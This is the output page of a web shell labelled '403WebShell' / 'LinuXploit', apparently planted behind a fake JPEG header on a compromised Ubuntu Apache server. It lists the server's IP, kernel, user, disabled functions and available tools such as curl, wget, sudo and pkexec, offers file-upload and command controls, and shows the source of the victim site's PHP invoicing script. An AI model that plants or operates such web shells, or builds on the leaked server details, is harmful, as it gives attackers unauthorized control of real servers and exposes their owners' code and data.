����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 3.15.238.90
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/app6/application/salesHonorarios/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/app6/application/salesHonorarios/fac.php
<?php

session_start();
require_once ("../model/dbconn.php");
require_once ("../model/pos.php");


function display_to_sql($date){
	return substr($date,6,4).'-'.substr($date,3,2).'-'.substr($date,0,2);
}
$method=$_POST['method'];


	if($method == 'timbrar')
		{

		$sale_id = substr($_POST['sale_id'],0,7);
		$person_id = $_POST['client_id'];
		$sale_date = display_to_sql($_POST['sale_date']);
		$paid =  $_POST['paid'];
		
		$f_pago1 =  $_POST['f_pago1'];
		$f_pago2 =  $_POST['f_pago2'];
		
		$total =  $_POST['total'];
		$disc_prcn = $_POST['disc_prcn']; 
		
		
		$disc_rp = $_POST['id_seller_ok'];
		
		
		$note =  $_POST['note'];
		$uniqid =  $_SESSION['pos_uniqid'];
		$id_user =  $_SESSION['pos_id'];
		$id_seller = $_POST['id_seller_ok'];
		
		$pos = new pos();

			$insert = $pos->saveSaleFac($sale_id, $sale_date,$total,$paid,$disc_prcn,$disc_rp,$uniqid,$id_user,$note,$f_pago1,$f_pago2,$id_seller,$person_id);
			
		$retval['result'] = $insert[0];
		$retval['error'] = $insert[1];
		$retval['xsale_id'] = $insert[2];


		echo json_encode($retval);
		}
	
	

?>	

Youez - 2016 - github.com/yon3zu
LinuXploit